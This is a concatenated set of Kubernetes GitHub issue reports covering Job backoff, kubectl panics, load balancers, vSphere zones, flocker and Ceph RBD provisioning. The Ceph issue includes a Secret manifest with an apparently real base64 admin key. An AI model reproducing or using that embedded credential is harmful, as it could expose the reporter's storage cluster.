<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r i create a job with initcontainer with restartpolicy  onfailure :\r    \r apiversion: batch/v1\r kind: job\r metadata:\r   name: pi-with-ttl2\r spec:\r   backofflimit: 6\r   template:\r     spec:\r       containers:\r       - name: container0\r         image: ubuntu:latest\r         imagepullpolicy: never\r         command:  \ echo\ ,  \ hello world\  \r       initcontainers:\r       - command:\r         - /binbash\r         - -c\r         - exit 1\r         image: ubuntu\r         imagepullpolicy: ifnotpresent\r         name: container-1\r       restartpolicy: onfailure\r    \r \r when the initcontainer exec failed and it will be restarted, the pod phase will be pending all the time.\r    \r initcontainerstatuses:\r   - containerid: docker://5926d2623804a85a7a0f08e5b0a0be4d65afbcb513aae94f21c834abe9f2d5fe\r     image: ubuntu\r     imageid: docker-pullable://ubuntu@sha256:017eef0b616011647b269b5c65826e2e2ebddbe5d1f8c1e56b3599fb14fabec8\r     laststate:\r       terminated:\r         containerid: docker://5926d2623804a85a7a0f08e5b0a0be4d65afbcb513aae94f21c834abe9f2d5fe\r         exitcode: 127\r         finishedat: 2019-05-09t07:00:35z\r         message: 'oci runtime create failed: container_linux.go:348: starting container\r           process caused \ exec: \\\ /binbash\\\ : stat /binbash: no such file or directory\ :\r           unknown'\r         reason: containercannotrun\r         startedat: 2019-05-09t07:00:35z\r     name: container-0-1\r     ready: false\r     restartcount: 7\r     state:\r       waiting:\r         message: back-off 5m0s restarting failed container=container-0-1 pod=pi-with-ttl2-wth5t_default 9ef99e5b-7226-11e9-9a68-fa163e9f77f7 \r         reason: crashloopbackoff\r   phase: pending\r \r    \r but in jobcontroller, the  pastbackofflimitonfailure  only care the running pod. so this pod\r will be always restarted.\r \r   what you expected to happen  :\r \r when restart count to backofflimit, the job failed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  :\r - kernel  e.g.  uname -a  :\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

it would be nice to support spot fleet on aws, for the nodes.  the challenge is that spot fleet does not support tags  afaik , and we rely on our nodes being tagged in the k8s aws cloudprovider.

fail    k8s.io/kubernetes/federation/pkg/federation-controller/secret   3.195s      === run   testsecretcontroller ================== warning: data race write by goroutine 25:   k8s.io/kubernetes/federation/pkg/federation-controller/secret.testsecretcontroller         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller_test.go:100 +0x18c4   testing.trunner         /usr/local/go/src/testing/testing.go:473 +0xdc  previous read by goroutine 34:   k8s.io/kubernetes/federation/pkg/federation-controller/secret.  secretcontroller .reconcilesecret         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller.go:283 +0xb82   k8s.io/kubernetes/federation/pkg/federation-controller/secret.  secretcontroller .run.func2         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller.go:173 +0xec   k8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler.func1         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:176 +0xea  goroutine 25  running  created at:   testing.runtests         /usr/local/go/src/testing/testing.go:582 +0xae2   testing.  m .run         /usr/local/go/src/testing/testing.go:515 +0x11d   main.main         k8s.io/kubernetes/federation/pkg/federation-controller/secret/_test/_testmain.go:54 +0x210  goroutine 34  running  created at:   k8s.io/kubernetes/federation/pkg/federation-controller/util.  delayingdeliverer .startwithhandler         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/util/delaying_deliverer.go:181 +0x4c   k8s.io/kubernetes/federation/pkg/federation-controller/secret.  secretcontroller .run         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller.go:174 +0x17e   k8s.io/kubernetes/federation/pkg/federation-controller/secret.testsecretcontroller         /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/federation/pkg/federation-controller/secret/secret_controller_test.go:76 +0x111e   testing.trunner         /usr/local/go/src/testing/testing.go:473 +0xdc ================== --- pass: testsecretcontroller  1.20s  pass found 1 data race s  fail    k8s.io/kubernetes/federation/pkg/federation-controller/secret   3.195s       log  https://console.cloud.google.com/storage/browser/kubernetes-jenkins/pr-logs/pull/32983/kubernetes-pull-test-unit-integration/45399?pli=1

quoting @davidopp from  issue 22985  comment   https://github.com/kubernetes/kubernetes/pull/22985 issuecomment-216020283 :  > i would do the topologkeys in the  differently  to test something more realistic . the tests are correct, they just aren't the typical scenarios, like two nodes with the same zone and different hostname, plus one node in a different zone.  you wrote them before i clarified how topologykey works . this wouldn't require major changes, mostly just changes to the node labels and topologykey in the affinity requests. also, i think it would be better if the  all had more than two nodes, because when you only have two nodes, the only  you can have are 0 and 10, so it's hard to know if the actual weights that were computed  before normalizing  were correct.

addon-manager is using 1.3.0-beta.2 version of kubectl: https://github.com/kubernetes/kubernetes/blob/master/cluster/addons/addon-manager/makefile l23  this seems bad for the component that we are running in production. we should update it to at-least non-beta version, and probably to 1.4.x something.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. : no.\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r podsandbox\r runtime\r sandbox\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r in  kubernetes/pkg/kubelet/container/runtime.go  we provide pod type that use containers slice as podsandbox, we should replace it with runtimeapi.podsandbox as states the todo that we have : https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/container/runtime.go l187\r \r this will need to make some changes\r \r cc @yujuhong \r \r

 \r the kubernetes does a nice job of providing support for aws elbs using ipv4 to back  type=loadbalancer  services. amazon also provides support for ipv6 and both ipv4 & ipv6 by prepending the fqdn for the elb with  ipv6.  or  dualstack.  respectively. reference this  aws doc  http://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-internet-facing-load-balancers.html .\r \r this is a feature request to add a new annotation that could be applied to any service to enable ipv6 or ipv4 & ipv6 support in aws. so when kubernetes creates that service, it would assign the elb fqdn that supported ipv4, ipv6 or a combination.\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r   \r \r   what happened  : \r \r the 1.7 api reference docs at https://kubernetes.io/docs/api-reference/v1.7/ don't contain types from groups present in staging  like  apiextensions  - https://github.com/kubernetes/kubernetes/tree/master/staging/src/k8s.io/apiextensions-apiserver .\r \r   what you expected to happen  :\r \r types from groups in staging repos should be present in the api reference docs.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r visit https://kubernetes.io/docs/api-reference/v1.7/.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /cc @sttts

try running  kubectl edit ingress  and adding an ingress object, or an empty list, then exit the editor – it will panic like this:\r \r    \r panic: runtime error: index out of range\r \r goroutine 1  running :\r k8s.io/kubernetes/pkg/kubectl/cmd/util/editor.  editoptions .run.func1 0x3b7f0f8, 0x0, 0x0, 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/editor/editoptions.go:237 +0xed2\r k8s.io/kubernetes/pkg/kubectl/cmd/util/editor.  editoptions .run 0xc420158400, 0x3a6c900, 0xc420239710 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/util/editor/editoptions.go:334 +0x731\r k8s.io/kubernetes/pkg/kubectl/cmd.newcmdedit.func1 0xc420376480, 0xc420273ac0, 0x1, 0x1 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubectl/cmd/edit.go:99 +0x15b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420376480, 0xc420273a50, 0x1, 0x1, 0xc420376480, 0xc420273a50 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:603 +0x22b\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .executec 0xc420453b00, 0x8000101, 0x0, 0xffffffffffffffff \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:689 +0x339\r k8s.io/kubernetes/vendor/github.com/spf13/cobra.  command .execute 0xc420453b00, 0xc420239710, 0x3a46140 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/github.com/spf13/cobra/command.go:648 +0x2b\r k8s.io/kubernetes/cmd/kubectl/app.run 0x0, 0x0 \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/app/kubectl.go:39 +0xd5\r main.main  \r \t/go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/cmd/kubectl/kubectl.go:26 +0x22\r \r    \r \r i've also tried  kubectl edit ds , and for the sake of experiment tried adding a pod, then it failed rather gracefully with this message:\r    \r a copy of your changes has been stored to \ /var/folders/zr/qjxvg8xn10nd06j2vflwtj880000gn/t/kubectl-edit-0133o.yaml\ \r error: no original object found for &unstructured.unstructured{object:map string interface {}{\ apiversion\ :\ v1\ , \ kind\ :\ pod\ , \ metadata\ :map string interface {}{\ namespace\ :\ default\ }}}\r    \r but when i tried to add a daemonset, it paniced.\r \r i am not sure how we should fix, perhaps editing of lists isn't something a normal user is expected to do... let's discuss.

almost all  foo.com/something  style strings use dashes, rather than javascript names.   not-ready  vs  notready .\r \r @davidopp @bsalamat

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if this may be security issue, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r getting tls handshake timeouts when using kubectl to retrieve pods, and all other commands.\r \r   what you expected to happen  :\r kubectl should return pod details.\r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r $ kubectl get pods\r unable to connect to the server: net/http: tls handshake timeout\r    \r   anything else we need to know?  :\r this is a sporadic failure on all kubectl commands. will work briefly and then fail consistently for minutes. have tried creating a new cluster, still see failures.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t12:22:21z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.3\ , gitcommit:\ d2835416544f298c919e2ead3be3d0864b52323b\ , gittreestate:\ clean\ , builddate:\ 2018-02-07t11:55:20z\ , goversion:\ go1.9.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r aws\r \r - os  e.g. from /etc/os-release \r ubuntu 16.04.3 lts  xenial xerus \r \r - kernel  e.g.  uname -a  :\r linux nutz 4.4.0-116-generic  140-ubuntu smp mon feb 12 21:23:04 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r - others:\r

\r kube_gce_network=default kubemark_num_nodes=99 ./test/kubemark/start-kubemark.sh\r \r warning: some requests generated warnings:\r  - the resource 'projects/cos-cloud/global/images/cos-stable-65-10323-64-0' is deprecated. a suggested replacement is 'projects/cos-cloud/global/images/cos-stable-65-10323-69-0'.\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r \r https://github.com/kubernetes/kubernetes/pull/70193/ added a new addon to addon manager \ that automatically installs csi crds if csidriverregistry or csinodeinfo feature gates are true\ . but this is either broken or this addon manager isn't active in a cluster brough up with:\r    \r allow_privileged=1 feature_gates=\ csipersistentvolume=true,mountpropagation=true,volumesnapshotdatasource=true,kubeletpluginswatcher=true,csinodeinfo=true,csidriverregistry=true\   hack/local-up-cluster.sh -o\r    \r \r this should work automatically also for such local clusters.\r \r   why is this needed  :\r \r the csi e2e tests are now expecting that the cluster has the crds and fail when that isn't the case.\r \r   or perhaps a bug, not sure \r \r /cc @saad-ali \r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i was trying to create a local cluster with  kubetest --up , but got an error:\r    \r  guw@ibm.com@mbp ~/go/src/k8s.io/kubernetes  readonly-test-validate-readonly-io  $ kubetest --up\r 2018/12/22 16:01:37 process.go:153: running: ./hack/e2e-internal/e2e-down.sh\r .....\r .....\r 2018/12/22 16:01:59 process.go:153: running: ./hack/e2e-internal/e2e-up.sh\r project: tara-test-dec-19\r network project: tara-test-dec-19\r zone: us-central1-b\r ... starting cluster in us-central1-b using provider gce\r ... calling verify-prereqs\r ... calling verify-kube-binaries\r ... calling verify-release-tars\r ... calling kube-up\r project: tara-test-dec-19\r network project: tara-test-dec-19\r zone: us-central1-b\r bucketnotfoundexception: 404 gs://kubernetes-staging-9e568f11b7 bucket does not exist.\r creating gs://kubernetes-staging-9e568f11b7\r creating gs://kubernetes-staging-9e568f11b7/...\r +++ staging server tars to google storage: gs://kubernetes-staging-9e568f11b7/e2e-test-guw@ibm.com-devel\r +++ kubernetes-server-linux-amd64.tar.gz uploaded  sha1 = 02c0bea82ac271a972c1fe5f593b89f32bfccd81 \r +++ kubernetes-manifests.tar.gz uploaded  sha1 = 069de1b397ad823b861472bcbf4dc1f4343903ea \r instance_groups=\r node_names=\r looking for already existing resources\r creating new auto network: e2e-test-guw@ibm.com\r error:  gcloud.compute.networks.create  could not fetch resource:\r  - invalid value for field 'resource.name': 'e2e-test-guw@ibm.com'. must be a match of regex ' ?: a-z  ?: -a-z0-9 {0,61} a-z0-9  ? '\r \r 2018/12/22 16:07:24 process.go:155: step './hack/e2e-internal/e2e-up.sh' finished in 5m25.185997102s\r 2018/12/22 16:07:24 main.go:313: something went wrong: starting e2e cluster: error during ./hack/e2e-internal/e2e-up.sh: exit status 1\r    \r \r the important part is  invalid value for field 'resource.name': 'e2e-test-guw@ibm.com'. must be a match of regex ' ?: a-z  ?: -a-z0-9 {0,61} a-z0-9  ? ' . this error occurs because my mac account name is \ guw@ibm.com\  which doesn't match the regex, and this user name is being used in the resource name without any checks  see  cluster/gce/config-test.sh  line 107 and 111 https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/config-test.sh l107  . \r \r   what you expected to happen  :\r kubetest --up can create resource with a name that matches the regex ' ?: a-z  ?: -a-z0-9 {0,61} a-z0-9  ? '. it should check if  ${user}  matches the regex and uses it in the resource name only if it does. \r \r   how to reproduce it  as minimally and precisely as possible   :\r update your mac's account name to \ xxx@xxx.com\ . \r ! 2018-12-22_20-18-03  https://user-images.githubusercontent.com/6353048/50379980-4a81f480-0628-11e9-96c8-d8a2b7efa082.png \r \r install kubetest with  go get -u k8s.io/test-infra/kubetest , and run  kubetest --build  and  kubetest --up .\r \r   anything else we need to know?  : a temporary workaround is to update line  107  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/config-test.sh l107  to  network=${kube_gce_network:-e2e-test-xxx}  and line  111  https://github.com/kubernetes/kubernetes/blob/master/cluster/gce/config-test.sh l111  to  instance_prefix=\ ${kube_gce_instance_prefix:-e2e-test-xxx}\   and the cluster can be created successfully. \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t19:44:19z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 14+\ , gitversion:\ v1.14.0-alpha.0.963+1f58c78f0821d4\ , gitcommit:\ 1f58c78f0821d4a0834fb7c646c61234444c8ce2\ , gittreestate:\ clean\ , builddate:\ 2018-12-21t21:53:05z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gcp\r - os  e.g. from /etc/os-release : macos 10.14.1\r - kernel  e.g.  uname -a  : \r  darwin macbook-pro.local 18.2.0 darwin kernel version 18.2.0: fri oct  5 19:41:49 pdt 2018; root:xnu-4903.221.2~2/release_x86_64 x86_64 \r - install tools: \r - others: \r \r <!-- do not edit below this line -->\r 

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r hope that if user doesn't need to get zone for vsphere cloud provider,  it won't trigger  the list attached tags action.\r \r that is if users don't provider  labels  field, the it will not try to query the zones. \r \r  global  \r        ...\r  workspace \r        ...\r  network \r        ...\r  labels \r        zone = \ k8s-io-zone\ \r        region = \ k8s-io-region\ \r \r if users don't provide  labels  field, then the behavior will be the same as the old version.\r \r   why is this needed  :\r in our environment, we didn't provider  labels  field in the vsphere.conf, and we don't need to get zones or regions for the nodes.  kubelet service failed to start because our vcenter account has no privilege to access rest api https://10.42.40.10:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags. \r in the the rest api page mentioned that \  to invoke this operation, you need the read privilege on the input object.\ .   but mostly our account has no such permission. \r \r https://vdc-repo.vmware.com/vmwb-repository/dcr-public/1cd28284-3b72-4885-9e31-d1c6d9e26686/71ef7304-a6c9-43b3-a3cd-868b2c236c81/doc/operations/com/vmware/cis/tagging/tag_association.list_attached_tags-operation.html\r \r jan 16 08:07:27 bcmtmonster-manager-1 systemd 1 : kubelet.service: main process exited, code=exited, status=255/n/a\r jan 16 08:07:27 bcmtmonster-manager-1 kubelet 9308 : f0116 08:07:27.918962    9308 kubelet.go:1354  kubelet failed to get node info: failed to get zone from cloud provider: post https://10.42.40.10:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags: 403 forbidden\r jan 16 08:07:27 bcmtmonster-manager-1 kubelet 9308 : e0116 08:07:27.918935    9308 vsphere.go:1405  get zone for node bcmtmonster-manager-1: post https://10.42.40.10:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags: 403 forbidden\r jan 16 08:07:27 bcmtmonster-manager-1 kubelet 9308 : e0116 08:07:27.918563    9308 vsphere.go:1358  cannot list attached tags. get zone for node bcmtmonster-manager-1: post https://10.42.40.10:443/rest/com/vmware/cis/tagging/tag-association?~action=list-attached-tags: 403 forbidden\r

what would you like to be added  :\r \r i would like to deploy an ingress with configurations settings stored inside a configmap.\r \r \r   proposed solution:  \r \r    yaml\r apiversion: extensions/v1beta1\r kind: ingress\r metadata:\r   name: test-ingress\r   annotations:\r     nginx.ingress.kubernetes.io/rewrite-target: /\r spec:\r   rules:\r   - host:\r     valuefrom:\r       configmapkeyref:\r         name: ingress-config\r         key: ingress_host\r   - http:\r       paths:\r       - path:\r         valuefrom:\r           configmapkeyref:\r             name: ingress-config\r             key: ingress_path\r         backend:\r           servicename: test\r           serviceport: 80\r    \r \r   why is this needed  :\r \r i would like to share the same configurations for my various environments  testing, stage, production,… . today i have to manually maintain a set of files or use a template system such as helm. it would be nice to have such a feature in kubernetes.\r \r  this is a copy of  74201 because the discussion went off topic .

i found that running our web on kubernetes is a little bit slower and seems related to kube-proxy, so i'm trying to improve performance of it.   digging into the code, at  /pkg/proxy/userspace/proxysocket.go , in the  tryconnect  function, there's a todo:      go // todo: this could spin up a new goroutine to make the outbound connection, // and keep accepting inbound traffic.      and i think it would be better if we could, in the function  proxyloop , extract the part of tryconnect to a function and run it as goroutine, which enables the loop to accept new inbounds quicker.   could i make a pull request for this? or this would cause some problem?  i tested this change and run it on our own cluster, and seems working fine.  though i read the development guide, if i'm doing anything wrong, please let me know, thanks in advance.

we are heavily relying on /endpoints?watch=true functionality, and we are stuck why restarting kube-controller-manager leads to re-emitting old events? we always use ?resourceversions=xxxx but this doesn't solve the problem. we also listen for /pods and /nodes events, but they are not affected by this bug.  for example, if we don't touch any thing in the cluster, and just restart kube-controller-manager.service then we have this almost after each restart:  logs of our application in form \ listener_function | current_resource_version | last_resource_version\       process_endpoints_event 1294 1226 process_endpoints_event 1295 1294 ==deleted obj 1 == process_endpoints_event 1296 1295 ==deleted obj 2 == process_endpoints_event 1297 1296 process_endpoints_event 1298 1297 ==deleted obj 3== process_endpoints_event 1299 1298 process_endpoints_event 1300 1299 ==added obj 1 == process_endpoints_event 1301 1300 process_endpoints_event 1302 1301 ==added obj 2 == process_endpoints_event 1303 1302 ==added obj 3 ==      this happends almost after each restart of kube-controller-manager  usually 1-3 . events:      {u'object': {u'kind': u'endpoints', u'subsets':   ... {u'object': {u'kind': u'endpoints', u'subsets':   ... {u'object': {u'kind': u'endpoints', u'subsets':  {u'addresses':  {u'ip': u'10.254.87.2' {u'object': {u'kind': u'endpoints', u'subsets':  {u'addresses':  {u'ip': u'10.254.42.3' ...      kubernetes v1.0.3;  is this a bug or we are doing something wrong?

k8s: 1.1.2 flocker:1.7.1 backend: zfs  node cluster: node1, node2  uft-flocker-volumes --control-service=xx.xx.xx.xx --control-port=4523 create -m name=my-vol-demo1 -s 5g --node=node1 create dataset successful.  add index.html file to node1: /flocker/1172eee5-35e1-406c-9ad4-863609b51291.default.0131d9cf-5dbd-46d7-ae35-4f2fb3b126d1  create automatic /flocker/1172eee5-35e1-406c-9ad4-863609b51291.default.0131d9cf-5dbd-46d7-ae35-4f2fb3b126d1 and index.html on node2.  create rc:                   rc.yml  apiversion: v1 kind: replicationcontroller metadata:   name: flocker-web1   labels:     name: flocker-web1 spec:   replicas: 1   selector:     name: flocker-web1   template:     metadata:       labels:         name: flocker-web1     spec:       containers:       - name: flocker-web1         image: nginx:latest           ports:         - name: flocker-web           containerport: 80           volumemounts:         - name: www-root           mountpath: \ /usr/share/nginx/html\        volumes:       - name: www-root         flocker:             datasetname: my-vol-demo1                   rc.yml  create pod on node1. and curl pod's ip, dispaly index.html.  i delete pod, and rc creates automatic pod on node2. but node2 create new dir /flocker/b083f1ba-75b0-41dd-8b2a-33bd4e624e81.default.0131d9cf-5dbd-46d7-ae35-4f2fb3b126d1.  docker inspect xxx on node2:             \ source\ : \ /flocker/b083f1ba-75b0-41dd-8b2a-33bd4e624e81.default.0131d9cf-5dbd-46d7-ae35-4f2fb3b126d1\ ,             \ destination\ : \ /usr/share/nginx/html\ ,  why new pod don't mount  /flocker/1172eee5-35e1-406c-9ad4-863609b51291.default.0131d9cf-5dbd-46d7-ae35-4f2fb3b126d1 on node2?  flocker dataset cann't relate to rc?

our long command text doesn't look good when translated to markdown.  see  config.go  https://github.com/kubernetes/kubernetes/blob/master/pkg/kubectl/cmd/config/config.go l71  which gets turned into  kubectl_config.md  https://github.com/kubernetes/kubernetes/blob/master/docs/user-guide/kubectl/kubectl_config.md synopsis  . it'd be wonderful if we could use markdown syntax in our long help so that our docs were more helpful.  it doesn't look like cobra supports that directly, so it'd probably have to be a pre-compile code-gen step  or a change to cobra .

k8s 1.4.7, kops, ha, weave, private networking\r \r i changed the guestbook-go example service in two ways, neither of which were reflected in the elb.  first i added the  service.beta.kubernetes.io/aws-load-balancer-internal: 0.0.0.0/0  annotation, and the elb was not changed  that's not terribly surprising imo .  but i then tried changing it to type nodeport  it was deleted - good  and then back to loadbalancer  \ nothing happened\  - no elb created, no relevant events other than the controller detecting nodeport -> loadbalancer .  i am pretty sure we have a test for nodeport -> loadbalancer, so something is unexpected.\r

 \r   what happened  :\r using  cluster/kube-up.sh  to create a gce cluster on google cloud platform, the resulting cluster starts, but the kubelet running on the master submits a request for a csr to be signed. that csr is submitted using the bootstrap certificate, which is not approved for signing server certificates. as a result, the csr goes to  pending  and stays there. the kubelet submits a new signing request about once an hour and the  pending  certificates accumulate.\r \r   what you expected to happen  :\r \r the certificate should not be stuck in  pending . if a certificate is needed, it should be auto approved. if no certificate is needed, it shouldn't be requested.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1.  cluster/kube-up.sh \r 2.  kubectl get csr | grep pending \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    ➜  kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.0.1816+ce19a22fdfcf4b-dirty\ , gitcommit:\ ce19a22fdfcf4bbea3e850ba01b76c8a524d0cca\ , gittreestate:\ dirty\ , builddate:\ 2017-03-28t21:38:54z\ , goversion:\ go1.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.3.660+81b2731c0dde69-dirty\ , gitcommit:\ 81b2731c0dde697bdcfcdbbd05daa749d8fb8fa8\ , gittreestate:\ dirty\ , builddate:\ 2017-09-01t23:57:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration  :\r google cloud platform\r \r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r   >  \r \r   what happened  :\r service type changed from  loadbalancer  to  clusterip , none of the loadbalancer interfaces of cloud-provider code framework   ensureloadbalancer/ensureloadbalancerdeleted/updateloadbalancer   got called.\r as a result, silently changing service type to  clusterip  without cloud-provider informed about it leads to a loadbalancer resource leak in our cloud environment.\r \r   what you expected to happen  :\r updateloadbalancer or ensureloadbalancerdeleted get called so we are informed to clean up the cloud resources.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1, create service type=loadbalancer\r 2, edit service, change type from loadbalancer to clusterip\r 3, check cloud-provider logs  or other means  to see if cloud-provider knows this changing event\r \r   anything else we need to know?  :\r we're using our own cloud-provider implement, not aws, azure or any other public clouds. however, i think this is not much relevant to the behavior.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t07:00:21z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.3\ , gitcommit:\ 2c2fe6e8278a5db2d15a013987b53968c743f2a1\ , gittreestate:\ clean\ , builddate:\ 2017-08-03t06:43:48z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r - cloud provider or hardware configuration:\r kubernetes is running on bare-metals. we've implemented our own cloud-provider for openstack neutron based network solution.\r \r - os  e.g. from /etc/os-release :\r ubuntu 16.04.2 lts\r \r - kernel  e.g.  uname -a  :\r linux $hostname 4.4.0-72-generic  93-ubuntu smp fri mar 31 14:07:41 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:  kubeadm\r - others:\r

what happened  :\r \r when i use ceph rbd storageclass create persistent volume claim, it always in  pending  status,  kubectl describe   get follow event:\r \r    \r events:\r   type     reason              age   from                         message\r   ----     ------              ----  ----                         -------\r   warning  provisioningfailed  9s    persistentvolume-controller  failed to provision volume with storageclass \ ceph-storage\ : failed to create rbd image: exit status 1, command output: 2018-05-10 08:33:15.897889 7fad4ac81780 -1 did not load config file, using default settings.\r rbd: extraneous parameter --image-feature\r    \r \r ceph-storageclass-secret:\r \r    yaml\r apiversion: v1\r kind: secret\r metadata:\r   name: ceph-storageclass-secret\r type: kubernetes.io/rbd\r data:\r   key: qvfboet1qme3qm0vsghbqwtfqlfzskfkqmxycfzoexjsdtm2vnc9pq==\r    \r \r storageclass yaml config:\r \r    yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: ceph-storage\r provisioner: kubernetes.io/rbd\r parameters:\r   monitors: 10.244.4.148:6789,10.244.4.136:6789,10.244.4.143:6789\r   adminid: admin\r   adminsecretname: ceph-storageclass-secret\r   pool: rbd\r   userid: admin\r   usersecretname: ceph-storageclass-secret\r    \r \r ceph-storage-pvc yaml:\r \r    yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: test-pvc\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 2gi\r    \r \r \r   environment  :\r - kubernetes version: v1.8.2+coreos.0\r - os: centos 7.4\r - kernel: 3.10.0-693.11.6.el7.x86_64\r - install tools: kubespray\r \r thanks guys.

